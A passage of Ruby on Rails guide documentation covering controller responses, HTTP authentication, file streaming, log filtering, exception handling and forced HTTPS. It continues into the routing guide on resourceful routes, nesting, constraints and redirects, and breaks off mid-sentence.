The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.

Property of response

Purpose

body

This is the string of data being sent back to the client. This is most often HTML.

status

The HTTP status code for the response, like 200 for a successful request or 404 for file not found.

location

The URL the client is being redirected to, if any.

content_type

The content type of the response.

charset

The character set being used for the response. Default is "utf-8".

headers

Headers used for the response.

10.2.1 Setting Custom Headers

If you want to set custom headers for a response then response.headers is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to response.headers this way:

response.headers["Content-Type"] = "application/pdf"

Note: in the above case it would make more sense to use the content_type setter directly.

11 HTTP Authentications

Rails comes with two built-in HTTP authentication mechanisms:

- Basic Authentication

- Digest Authentication

11.1 HTTP Basic Authentication

HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, http_basic_authenticate_with.

class AdminsController < ApplicationController
http_basic_authenticate_with name: "humbaba", password: "5baa61e4"
end

With this in place, you can create namespaced controllers that inherit from AdminsController. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.

11.2 HTTP Digest Authentication

HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, authenticate_or_request_with_http_digest.

class AdminsController < ApplicationController
USERS = { "lifo" => "world" }

before_action :authenticate

private

def authenticate
authenticate_or_request_with_http_digest do |username|
USERS[username]
end
end
end

As seen in the example above, the authenticate_or_request_with_http_digest block takes only one argument - the username. And the block returns the password. Returning false or nil from the authenticate_or_request_with_http_digest will cause authentication failure.

12 Streaming and File Downloads

Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the send_data and the send_file methods, which will both stream data to the client. send_file is a convenience method that lets you provide the name of a file on the disk and it will stream the contents of that file for you.

To stream data to the client, use send_data:

require "prawn"
class ClientsController < ApplicationController
# Generates a PDF document with information on the client and
# returns it. The user will get the PDF as a file download.
def download_pdf
client = Client.find(params[:id])
send_data generate_pdf(client),
filename: "#{client.name}.pdf",
type: "application/pdf"
end

private

def generate_pdf(client)
Prawn::Document.new do
text client.name, align: :center
text "Address: #{client.address}"
text "Email: #{client.email}"
end.render
end
end

The download_pdf action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the :disposition option to "inline". The opposite and default value for this option is "attachment".

12.1 Sending Files

If you want to send a file that already exists on disk, use the send_file method.

class ClientsController < ApplicationController
# Stream a file that has already been generated and stored on disk.
def download_pdf
client = Client.find(params[:id])
send_file("#{Rails.root}/files/clients/#{client.id}.pdf",
filename: "#{client.name}.pdf",
type: "application/pdf")
end
end

This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the :stream option or adjust the block size with the :buffer_size option.

If :type is not specified, it will be guessed from the file extension specified in :filename. If the content type is not registered for the extension, application/octet-stream will be used.

Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to.

It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack.

12.2 RESTful Downloads

While send_data works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the show action, without any streaming:

class ClientsController < ApplicationController
# The user can request to receive this resource as HTML or PDF.
def show
@client = Client.find(params[:id])

respond_to do |format|
format.html
format.pdf { render pdf: generate_pdf(@client) }
end
end
end

In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file config/initializers/mime_types.rb:

Mime::Type.register "application/pdf", :pdf

Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.

Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:

GET /clients/1.pdf

12.3 Live Streaming of Arbitrary Data

Rails allows you to stream more than just files. In fact, you can stream anything you would like in a response object. The ActionController::Live module allows you to create a persistent connection with a browser. Using this module, you will be able to send arbitrary data to the browser at specific points in time.

12.3.1 Incorporating Live Streaming

Including ActionController::Live inside of your controller class will provide all actions inside of the controller the ability to stream data. You can mix in the module like so:

class MyController < ActionController::Base
include ActionController::Live

def stream
response.headers['Content-Type'] = 'text/event-stream'
100.times {
response.stream.write "hello world\n"
sleep 1
}
ensure
response.stream.close
end
end

The above code will keep a persistent connection with the browser and send 100 messages of "hello world\n", each one second apart.

There are a couple of things to notice in the above example. We need to make sure to close the response stream. Forgetting to close the stream will leave the socket open forever. We also have to set the content type to text/event-stream before we write to the response stream. This is because headers cannot be written after the response has been committed (when response.committed? returns a truthy value), which occurs when you write or commit the response stream.

12.3.2 Example Usage

Let's suppose that you were making a Karaoke machine and a user wants to get the lyrics for a particular song. Each Song has a particular number of lines and each line takes time num_beats to finish singing.

If we wanted to return the lyrics in Karaoke fashion (only sending the line when the singer has finished the previous line), then we could use ActionController::Live as follows:

class LyricsController < ActionController::Base
include ActionController::Live

def show
response.headers['Content-Type'] = 'text/event-stream'
song = Song.find(params[:id])

song.each do |line|
response.stream.write line.lyrics
sleep line.num_beats
end
ensure
response.stream.close
end
end

The above code sends the next line only after the singer has completed the previous line.

12.3.3 Streaming Considerations

Streaming arbitrary data is an extremely powerful tool. As shown in the previous examples, you can choose when and what to send across a response stream. However, you should also note the following things:

- Each response stream creates a new thread and copies over the thread local variables from the original thread. Having too many thread local variables can negatively impact performance. Similarly, a large number of threads can also hinder performance.

- Failing to close the response stream will leave the corresponding socket open forever. Make sure to call close whenever you are using a response stream.

- WEBrick servers buffer all responses, and so including ActionController::Live will not work. You must use a web server which does not automatically buffer responses.

13 Log Filtering

Rails keeps a log file for each environment in the log folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file.

13.1 Parameters Filtering

You can filter out sensitive request parameters from your log files by appending them to config.filter_parameters in the application configuration. These parameters will be marked [FILTERED] in the log.

config.filter_parameters << :password

Provided parameters will be filtered out by partial matching regular expression. Rails adds default :password in the appropriate initializer (initializers/filter_parameter_logging.rb) and cares about typical application parameters password and password_confirmation.

13.2 Redirects Filtering

Sometimes it's desirable to filter out from log files some sensitive locations your application is redirecting to. You can do that by using the config.filter_redirect configuration option:

config.filter_redirect << 's3.amazonaws.com'

You can set it to a String, a Regexp, or an array of both.

config.filter_redirect.concat ['s3.amazonaws.com', /private_path/]

Matching URLs will be marked as '[FILTERED]'.

14 Rescue

Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the ActiveRecord::RecordNotFound exception.

Rails default exception handling displays a "500 Server Error" message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:

14.1 The Default 500 and 404 Templates

By default a production application will render either a 404 or a 500 error message, in the development environment all unhandled exceptions are raised. These messages are contained in static HTML files in the public folder, in 404.html and 500.html respectively. You can customize these files to add some extra information and style, but remember that they are static HTML; i.e. you can't use ERB, SCSS, CoffeeScript, or layouts for them.

14.2 rescue_from

If you want to do something a bit more elaborate when catching errors, you can use rescue_from, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses.

When an exception occurs which is caught by a rescue_from directive, the exception object is passed to the handler. The handler can be a method or a Proc object passed to the :with option. You can also use a block directly instead of an explicit Proc object.

Here's how you can use rescue_from to intercept all ActiveRecord::RecordNotFound errors and do something with them.

class ApplicationController < ActionController::Base
rescue_from ActiveRecord::RecordNotFound, with: :record_not_found

private

def record_not_found
render plain: "404 Not Found", status: 404
end
end

Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:

class ApplicationController < ActionController::Base
rescue_from User::NotAuthorized, with: :user_not_authorized

private

def user_not_authorized
flash[:error] = "You don't have access to this section."
redirect_back(fallback_location: root_path)
end
end

class ClientsController < ApplicationController
# Check that the user has the right authorization to access clients.
before_action :check_authorization

# Note how the actions don't have to worry about all the auth stuff.
def edit
@client = Client.find(params[:id])
end

private

# If the user is not authorized, just throw the exception.
def check_authorization
raise User::NotAuthorized unless current_user.admin?
end
end

You shouldn't do rescue_from Exception or rescue_from StandardError unless you have a particular reason as it will cause serious side-effects (e.g. you won't be able to see exception details and tracebacks during development).

When running in the production environment, all ActiveRecord::RecordNotFound errors render the 404 error page. Unless you need a custom behavior you don't need to handle this.

Certain exceptions are only rescuable from the ApplicationController class, as they are raised before the controller gets initialized and the action gets executed.

15 Force HTTPS protocol

Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reasons. You can use the force_ssl method in your controller to enforce that:

class DinnerController
force_ssl
end

Just like the filter, you could also pass :only and :except to enforce the secure connection only to specific actions:

class DinnerController
force_ssl only: :cheeseburger
# or
force_ssl except: :cheeseburger
end

Please note that if you find yourself adding force_ssl to many controllers, you may want to force the whole application to use HTTPS instead. In that case, you can set the config.force_ssl in your environment file.

Rails Routing from the Outside In —...

1 The Purpose of the Rails Router

The Rails router recognizes URLs and dispatches them to a controller's action. It can also generate paths and URLs, avoiding the need to hardcode strings in your views.

1.1 Connecting URLs to Code

When your Rails application receives an incoming request for:

GET /patients/17

it asks the router to match it to a controller action. If the first matching route is:

get '/patients/:id', to: 'patients#show'

the request is dispatched to the patients controller's show action with { id: '17' } in params.

1.2 Generating Paths and URLs from Code

You can also generate paths and URLs. If the route above is modified to be:

get '/patients/:id', to: 'patients#show', as: 'patient'

and your application contains this code in the controller:

@patient = Patient.find(17)

and this in the corresponding view:

<%= link_to 'Patient Record', patient_path(@patient) %>

then the router will generate the path /patients/17. This reduces the brittleness of your view and makes your code easier to understand. Note that the id does not need to be specified in the route helper.

2 Resource Routing: the Rails Default

Resource routing allows you to quickly declare all of the common routes for a given resourceful controller. Instead of declaring separate routes for your index, show, new, edit, create, update and destroy actions, a resourceful route declares them in a single line of code.

2.1 Resources on the Web

Browsers request pages from Rails by making a request for a URL using a specific HTTP method, such as GET, POST, PATCH, PUT and DELETE. Each method is a request to perform an operation on the resource. A resource route maps a number of related requests to actions in a single controller.

When your Rails application receives an incoming request for:

DELETE /photos/17

it asks the router to map it to a controller action. If the first matching route is:

resources :photos

Rails would dispatch that request to the destroy action on the photos controller with { id: '17' } in params.

2.2 CRUD, Verbs, and Actions

In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to controller actions. By convention, each action also maps to a specific CRUD operation in a database. A single entry in the routing file, such as:

resources :photos

creates seven different routes in your application, all mapping to the Photos controller:

HTTP Verb

Path

Controller#Action

Used for

GET

/photos

photos#index

display a list of all photos

GET

/photos/new

photos#new

return an HTML form for creating a new photo

POST

/photos

photos#create

create a new photo

GET

/photos/:id

photos#show

display a specific photo

GET

/photos/:id/edit

photos#edit

return an HTML form for editing a photo

PATCH/PUT

/photos/:id

photos#update

update a specific photo

DELETE

/photos/:id

photos#destroy

delete a specific photo

Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions.

Rails routes are matched in the order they are specified, so if you have a resources :photos above a get 'photos/poll' the show action's route for the resources line will be matched before the get line. To fix this, move the get line above the resources line so that it is matched first.

2.3 Path and URL Helpers

Creating a resourceful route will also expose a number of helpers to the controllers in your application. In the case of resources :photos:

- photos_path returns /photos

- new_photo_path returns /photos/new

- edit_photo_path(:id) returns /photos/:id/edit (for instance, edit_photo_path(10) returns /photos/10/edit)

- photo_path(:id) returns /photos/:id (for instance, photo_path(10) returns /photos/10)

Each of these helpers has a corresponding _url helper (such as photos_url) which returns the same path prefixed with the current host, port and path prefix.

2.4 Defining Multiple Resources at the Same Time

If you need to create routes for more than one resource, you can save a bit of typing by defining them all with a single call to resources:

resources :photos, :books, :videos

This works exactly the same as:

resources :photos
resources :books
resources :videos

2.5 Singular Resources

Sometimes, you have a resource that clients always look up without referencing an ID. For example, you would like /profile to always show the profile of the currently logged in user. In this case, you can use a singular resource to map /profile (rather than /profile/:id) to the show action:

get 'profile', to: 'users#show'

Passing a String to get will expect a controller#action format, while passing a Symbol will map directly to an action but you must also specify the controller: to use:

get 'profile', to: :show, controller: 'users'

This resourceful route:

resource :geocoder

creates six different routes in your application, all mapping to the Geocoders controller:

HTTP Verb

Path

Controller#Action

Used for

GET

/geocoder/new

geocoders#new

return an HTML form for creating the geocoder

POST

/geocoder

geocoders#create

create the new geocoder

GET

/geocoder

geocoders#show

display the one and only geocoder resource

GET

/geocoder/edit

geocoders#edit

return an HTML form for editing the geocoder

PATCH/PUT

/geocoder

geocoders#update

update the one and only geocoder resource

DELETE

/geocoder

geocoders#destroy

delete the geocoder resource

Because you might want to use the same controller for a singular route (/account) and a plural route (/accounts/45), singular resources map to plural controllers. So that, for example, resource :photo and resources :photos creates both singular and plural routes that map to the same controller (PhotosController).

A singular resourceful route generates these helpers:

- new_geocoder_path returns /geocoder/new

- edit_geocoder_path returns /geocoder/edit

- geocoder_path returns /geocoder

As with plural resources, the same helpers ending in _url will also include the host, port and path prefix.

A long-standing bug prevents form_for from working automatically with singular resources. As a workaround, specify the URL for the form directly, like so:

form_for @geocoder, url: geocoder_path do |f|

# snippet for brevity

2.6 Controller Namespaces and Routing

You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an Admin:: namespace. You would place these controllers under the app/controllers/admin directory, and you can group them together in your router:

namespace :admin do
resources :articles, :comments
end

This will create a number of routes for each of the articles and comments controller. For Admin::ArticlesController, Rails will create:

HTTP Verb

Path

Controller#Action

Named Helper

GET

/admin/articles

admin/articles#index

admin_articles_path

GET

/admin/articles/new

admin/articles#new

new_admin_article_path

POST

/admin/articles

admin/articles#create

admin_articles_path

GET

/admin/articles/:id

admin/articles#show

admin_article_path(:id)

GET

/admin/articles/:id/edit

admin/articles#edit

edit_admin_article_path(:id)

PATCH/PUT

/admin/articles/:id

admin/articles#update

admin_article_path(:id)

DELETE

/admin/articles/:id

admin/articles#destroy

admin_article_path(:id)

If you want to route /articles (without the prefix /admin) to Admin::ArticlesController, you could use:

scope module: 'admin' do
resources :articles, :comments
end

or, for a single case:

resources :articles, module: 'admin'

If you want to route /admin/articles to ArticlesController (without the Admin:: module prefix), you could use:

scope '/admin' do
resources :articles, :comments
end

or, for a single case:

resources :articles, path: '/admin/articles'

In each of these cases, the named routes remain the same as if you did not use scope. In the last case, the following paths map to ArticlesController:

HTTP Verb

Path

Controller#Action

Named Helper

GET

/admin/articles

articles#index

articles_path

GET

/admin/articles/new

articles#new

new_article_path

POST

/admin/articles

articles#create

articles_path

GET

/admin/articles/:id

articles#show

article_path(:id)

GET

/admin/articles/:id/edit

articles#edit

edit_article_path(:id)

PATCH/PUT

/admin/articles/:id

articles#update

article_path(:id)

DELETE

/admin/articles/:id

articles#destroy

article_path(:id)

If you need to use a different controller namespace inside a namespace block you can specify an absolute controller path, e.g: get '/foo' => '/foo#index'.

2.7 Nested Resources

It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:

class Magazine < ApplicationRecord
has_many :ads
end

class Ad < ApplicationRecord
belongs_to :magazine
end

Nested routes allow you to capture this relationship in your routing. In this case, you could include this route declaration:

resources :magazines do
resources :ads
end

In addition to the routes for magazines, this declaration will also route ads to an AdsController. The ad URLs require a magazine:

HTTP Verb

Path

Controller#Action

Used for

GET

/magazines/:magazine_id/ads

ads#index

display a list of all ads for a specific magazine

GET

/magazines/:magazine_id/ads/new

ads#new

return an HTML form for creating a new ad belonging to a specific magazine

POST

/magazines/:magazine_id/ads

ads#create

create a new ad belonging to a specific magazine

GET

/magazines/:magazine_id/ads/:id

ads#show

display a specific ad belonging to a specific magazine

GET

/magazines/:magazine_id/ads/:id/edit

ads#edit

return an HTML form for editing an ad belonging to a specific magazine

PATCH/PUT

/magazines/:magazine_id/ads/:id

ads#update

update a specific ad belonging to a specific magazine

DELETE

/magazines/:magazine_id/ads/:id

ads#destroy

delete a specific ad belonging to a specific magazine

This will also create routing helpers such as magazine_ads_url and edit_magazine_ad_path. These helpers take an instance of Magazine as the first parameter (magazine_ads_url(@magazine)).

2.7.1 Limits to Nesting

You can nest resources within other nested resources if you like. For example:

resources :publishers do
resources :magazines do
resources :photos
end
end

Deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize paths such as:

/publishers/1/magazines/2/photos/3

The corresponding route helper would be publisher_magazine_photo_url, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular article by Jamis Buck proposes a rule of thumb for good Rails design:

Resources should never be nested more than 1 level deep.

2.7.2 Shallow Nesting

One way to avoid deep nesting (as recommended above) is to generate the collection actions scoped under the parent, so as to get a sense of the hierarchy, but to not nest the member actions. In other words, to only build routes with the minimal amount of information to uniquely identify the resource, like this:

resources :articles do
resources :comments, only: [:index, :new, :create]
end
resources :comments, only: [:show, :edit, :update, :destroy]

This idea strikes a balance between descriptive routes and deep nesting. There exists shorthand syntax to achieve just that, via the :shallow option:

resources :articles do
resources :comments, shallow: true
end

This will generate the exact same routes as the first example. You can also specify the :shallow option in the parent resource, in which case all of the nested resources will be shallow:

resources :articles, shallow: true do
resources :comments
resources :quotes
resources :drafts
end

The shallow method of the DSL creates a scope inside of which every nesting is shallow. This generates the same routes as the previous example:

shallow do
resources :articles do
resources :comments
resources :quotes
resources :drafts
end
end

There exist two options for scope to customize shallow routes. :shallow_path prefixes member paths with the specified parameter:

scope shallow_path: "sekret" do
resources :articles do
resources :comments, shallow: true
end
end

The comments resource here will have the following routes generated for it:

HTTP Verb

Path

Controller#Action

Named Helper

GET

/articles/:article_id/comments(.:format)

comments#index

article_comments_path

POST

/articles/:article_id/comments(.:format)

comments#create

article_comments_path

GET

/articles/:article_id/comments/new(.:format)

comments#new

new_article_comment_path

GET

/sekret/comments/:id/edit(.:format)

comments#edit

edit_comment_path

GET

/sekret/comments/:id(.:format)

comments#show

comment_path

PATCH/PUT

/sekret/comments/:id(.:format)

comments#update

comment_path

DELETE

/sekret/comments/:id(.:format)

comments#destroy

comment_path

The :shallow_prefix option adds the specified parameter to the named helpers:

scope shallow_prefix: "sekret" do
resources :articles do
resources :comments, shallow: true
end
end

The comments resource here will have the following routes generated for it:

HTTP Verb

Path

Controller#Action

Named Helper

GET

/articles/:article_id/comments(.:format)

comments#index

article_comments_path

POST

/articles/:article_id/comments(.:format)

comments#create

article_comments_path

GET

/articles/:article_id/comments/new(.:format)

comments#new

new_article_comment_path

GET

/comments/:id/edit(.:format)

comments#edit

edit_sekret_comment_path

GET

/comments/:id(.:format)

comments#show

sekret_comment_path

PATCH/PUT

/comments/:id(.:format)

comments#update

sekret_comment_path

DELETE

/comments/:id(.:format)

comments#destroy

sekret_comment_path

2.8 Routing concerns

Routing concerns allow you to declare common routes that can be reused inside other resources and routes. To define a concern:

concern :commentable do
resources :comments
end

concern :image_attachable do
resources :images, only: :index
end

These concerns can be used in resources to avoid code duplication and share behavior across routes:

resources :messages, concerns: :commentable

resources :articles, concerns: [:commentable, :image_attachable]

The above is equivalent to:

resources :messages do
resources :comments
end

resources :articles do
resources :comments
resources :images, only: :index
end

Also you can use them in any place that you want inside the routes, for example in a scope or namespace call:

namespace :articles do
concerns :commentable
end

2.9 Creating Paths and URLs From Objects

In addition to using the routing helpers, Rails can also create paths and URLs from an array of parameters. For example, suppose you have this set of routes:

resources :magazines do
resources :ads
end

When using magazine_ad_path, you can pass in instances of Magazine and Ad instead of the numeric IDs:

<%= link_to 'Ad details', magazine_ad_path(@magazine, @ad) %>

You can also use url_for with a set of objects, and Rails will automatically determine which route you want:

<%= link_to 'Ad details', url_for([@magazine, @ad]) %>

In this case, Rails will see that @magazine is a Magazine and @ad is an Ad and will therefore use the magazine_ad_path helper. In helpers like link_to, you can specify just the object in place of the full url_for call:

<%= link_to 'Ad details', [@magazine, @ad] %>

If you wanted to link to just a magazine:

<%= link_to 'Magazine details', @magazine %>

For other actions, you just need to insert the action name as the first element of the array:

<%= link_to 'Edit Ad', [:edit, @magazine, @ad] %>

This allows you to treat instances of your models as URLs, and is a key advantage to using the resourceful style.

2.10 Adding More RESTful Actions

You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional routes that apply to the collection or individual members of the collection.

2.10.1 Adding Member Routes

To add a member route, just add a member block into the resource block:

resources :photos do
member do
get 'preview'
end
end

This will recognize /photos/1/preview with GET, and route to the preview action of PhotosController, with the resource id value passed in params[:id]. It will also create the preview_photo_url and preview_photo_path helpers.

Within the block of member routes, each route name specifies the HTTP verb will be recognized. You can use get, patch, put, post, or delete here . If you don't have multiple member routes, you can also pass :on to a route, eliminating the block:

resources :photos do
get 'preview', on: :member
end

You can leave out the :on option, this will create the same member route except that the resource id value will be available in params[:photo_id] instead of params[:id].

2.10.2 Adding Collection Routes

To add a route to the collection:

resources :photos do
collection do
get 'search'
end
end

This will enable Rails to recognize paths such as /photos/search with GET, and route to the search action of PhotosController. It will also create the search_photos_url and search_photos_path route helpers.

Just as with member routes, you can pass :on to a route:

resources :photos do
get 'search', on: :collection
end

2.10.3 Adding Routes for Additional New Actions

To add an alternate new action using the :on shortcut:

resources :comments do
get 'preview', on: :new
end

This will enable Rails to recognize paths such as /comments/new/preview with GET, and route to the preview action of CommentsController. It will also create the preview_new_comment_url and preview_new_comment_path route helpers.

If you find yourself adding many extra actions to a resourceful route, it's time to stop and ask yourself whether you're disguising the presence of another resource.

3 Non-Resourceful Routes

In addition to resource routing, Rails has powerful support for routing arbitrary URLs to actions. Here, you don't get groups of routes automatically generated by resourceful routing. Instead, you set up each route within your application separately.

While you should usually use resourceful routing, there are still many places where the simpler routing is more appropriate. There's no need to try to shoehorn every last piece of your application into a resourceful framework if that's not a good fit.

In particular, simple routing makes it very easy to map legacy URLs to new Rails actions.

3.1 Bound Parameters

When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: :controller maps to the name of a controller in your application, and :action maps to the name of an action within that controller. For example, consider this route:

get ':controller(/:action(/:id))'

If an incoming request of /photos/show/1 is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the show action of the PhotosController, and to make the final parameter "1" available as params[:id]. This route will also route the incoming request of /photos to PhotosController#index, since :action and :id are optional parameters, denoted by parentheses.

3.2 Dynamic Segments

You can set up as many dynamic segments within a regular route as you like. Anything other than :controller or :action will be available to the action as part of params. If you set up this route:

get ':controller/:action/:id/:user_id'

An incoming path of /photos/show/1/2 will be dispatched to the show action of the PhotosController. params[:id] will be "1", and params[:user_id] will be "2".

You can't use :namespace or :module with a :controller path segment. If you need to do this then use a constraint on :controller that matches the namespace you require. e.g:

get ':controller(/:action(/:id))', controller: /admin\/[^\/]+/

By default, dynamic segments don't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within a dynamic segment, add a constraint that overrides this – for example, id: /[^\/]+/ allows anything except a slash.

3.3 Static Segments

You can specify static segments when creating a route by not prepending a colon to a fragment:

get ':controller/:action/:id/with_user/:user_id'

This route would respond to paths such as /photos/show/1/with_user/2. In this case, params would be { controller: 'photos', action: 'show', id: '1', user_id: '2' }.

3.4 The Query String

The params will also include any parameters from the query string. For example, with this route:

get ':controller/:action/:id'

An incoming path of /photos/show/1?user_id=2 will be dispatched to the show action of the Photos controller. params will be { controller: 'photos', action: 'show', id: '1', user_id: '2' }.

3.5 Defining Defaults

You do not need to explicitly use the :controller and :action symbols within a route. You can supply them as defaults:

get 'photos/:id', to: 'photos#show'

With this route, Rails will match an incoming path of /photos/12 to the show action of PhotosController.

You can also define other defaults in a route by supplying a hash for the :defaults option. This even applies to parameters that you do not specify as dynamic segments. For example:

get 'photos/:id', to: 'photos#show', defaults: { format: 'jpg' }

Rails would match photos/12 to the show action of PhotosController, and set params[:format] to "jpg".

You cannot override defaults via query parameters - this is for security reasons. The only defaults that can be overridden are dynamic segments via substitution in the URL path.

3.6 Naming Routes

You can specify a name for any route using the :as option:

get 'exit', to: 'sessions#destroy', as: :logout

This will create logout_path and logout_url as named helpers in your application. Calling logout_path will return /exit

You can also use this to override routing methods defined by resources, like this:

get ':username', to: 'users#show', as: :user

This will define a user_path method that will be available in controllers, helpers and views that will go to a route such as /bob. Inside the show action of UsersController, params[:username] will contain the username for the user. Change :username in the route definition if you do not want your parameter name to be :username.

3.7 HTTP Verb Constraints

In general, you should use the get, post, put, patch and delete methods to constrain a route to a particular verb. You can use the match method with the :via option to match multiple verbs at once:

match 'photos', to: 'photos#show', via: [:get, :post]

You can match all verbs to a particular route using via: :all:

match 'photos', to: 'photos#show', via: :all

Routing both GET and POST requests to a single action has security implications. In general, you should avoid routing all verbs to an action unless you have a good reason to.

'GET' in Rails won't check for CSRF token. You should never write to the database from 'GET' requests, for more information see the security guide on CSRF countermeasures.

3.8 Segment Constraints

You can use the :constraints option to enforce a format for a dynamic segment:

get 'photos/:id', to: 'photos#show', constraints: { id: /[A-Z]\d{5}/ }

This route would match paths such as /photos/A12345, but not /photos/893. You can more succinctly express the same route this way:

get 'photos/:id', to: 'photos#show', id: /[A-Z]\d{5}/

:constraints takes regular expressions with the restriction that regexp anchors can't be used. For example, the following route will not work:

get '/:id', to: 'articles#show', constraints: { id: /^\d/ }

However, note that you don't need to use anchors because all routes are anchored at the start.

For example, the following routes would allow for articles with to_param values like 1-hello-world that always begin with a number and users with to_param values like david that never begin with a number to share the root namespace:

get '/:id', to: 'articles#show', constraints: { id: /\d.+/ }
get '/:username', to: 'users#show'

3.9 Request-Based Constraints

You can also constrain a route based on any method on the Request object that returns a String.

You specify a request-based constraint the same way that you specify a segment constraint:

get 'photos', to: 'photos#index', constraints: { subdomain: 'admin' }

You can also specify constraints in a block form:

namespace :admin do
constraints subdomain: 'admin' do
resources :photos
end
end

Request constraints work by calling a method on the Request object with the same name as the hash key and then compare the return value with the hash value. Therefore, constraint values should match the corresponding Request object method return type. For example: constraints: { subdomain: 'api' } will match an api subdomain as expected, however using a symbol constraints: { subdomain: :api } will not, because request.subdomain returns 'api' as a String.

There is an exception for the format constraint: while it's a method on the Request object, it's also an implicit optional parameter on every path. Segment constraints take precedence and the format constraint is only applied as such when enforced through a hash. For example, get 'foo', constraints: { format: 'json' } will match GET /foo because the format is optional by default. However, you can use a lambda like in get 'foo', constraints: lambda { |req| req.format == :json } and the route will only match explicit JSON requests.

3.10 Advanced Constraints

If you have a more advanced constraint, you can provide an object that responds to matches? that Rails should use. Let's say you wanted to route all users on a blacklist to the BlacklistController. You could do:

class BlacklistConstraint
def initialize
@ips = Blacklist.retrieve_ips
end

def matches?(request)
@ips.include?(request.remote_ip)
end
end

Rails.application.routes.draw do
get '*path', to: 'blacklist#index',
constraints: BlacklistConstraint.new
end

You can also specify constraints as a lambda:

Rails.application.routes.draw do
get '*path', to: 'blacklist#index',
constraints: lambda { |request| Blacklist.retrieve_ips.include?(request.remote_ip) }
end

Both the matches? method and the lambda gets the request object as an argument.

3.11 Route Globbing and Wildcard Segments

Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example:

get 'photos/*other', to: 'photos#unknown'

This route would match photos/12 or /photos/long/path/to/12, setting params[:other] to "12" or "long/path/to/12". The fragments prefixed with a star are called "wildcard segments".

Wildcard segments can occur anywhere in a route. For example:

get 'books/*section/:title', to: 'books#show'

would match books/some/section/last-words-a-memoir with params[:section] equals 'some/section', and params[:title] equals 'last-words-a-memoir'.

Technically, a route can have even more than one wildcard segment. The matcher assigns segments to parameters in an intuitive way. For example:

get '*a/foo/*b', to: 'test#index'

would match zoo/woo/foo/bar/baz with params[:a] equals 'zoo/woo', and params[:b] equals 'bar/baz'.

By requesting '/foo/bar.json', your params[:pages] will be equal to 'foo/bar' with the request format of JSON. If you want the old 3.0.x behavior back, you could supply format: false like this:

get '*pages', to: 'pages#show', format: false

If you want to make the format segment mandatory, so it cannot be omitted, you can supply format: true like this:

get '*pages', to: 'pages#show', format: true

3.12 Redirection

You can redirect any path to another path using the redirect helper in your router:

get '/stories', to: redirect('/articles')

You can also reuse dynamic segments from the match in the path to redirect to:

get '/stories/:name', to: redirect('/articles/%{name}')

You can also provide a block to redirect, which receives the symbolized path parameters and the request object:

get '/stories/:name', to: redirect { |path_params, req| "/articles/#{path_params[:name].pluralize}" }
get '/stories', to: redirect { |path_params, req| "/articles/#{req.subdomain}" }

Please note that default redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible. You can use the :status option to change the response status:

get '/stories/:name', to: redirect('/articles/%{name}', status: 302)

In all of these cases, if you don't provide the leading host (http://www.example.com), Rails will take those details from the current request.

3.13 Routing to Rack Applications

Instead of a String like 'articles#index', which corresponds to the index action in the ArticlesController, you can specify any Rack application as the endpoint for a matcher:

match '/application.js', to: MyRackApp, via: :all

As long as MyRackApp responds to call and returns a [status, headers, body], the router won't know the difference between the Rack application and an action. This is an appropriate use of via: :all, as you will want to allow your Rack application to handle all verbs as it considers appropriate.

For the curious, 'articles#index' actually expands out to ArticlesController.action(:index), which returns a valid Rack application.

If you specify a Rack application as the endpoint for a matcher, remember that the route will be unchanged in the receiving application. With the following route your Rack application should expect the route to be '/admin':

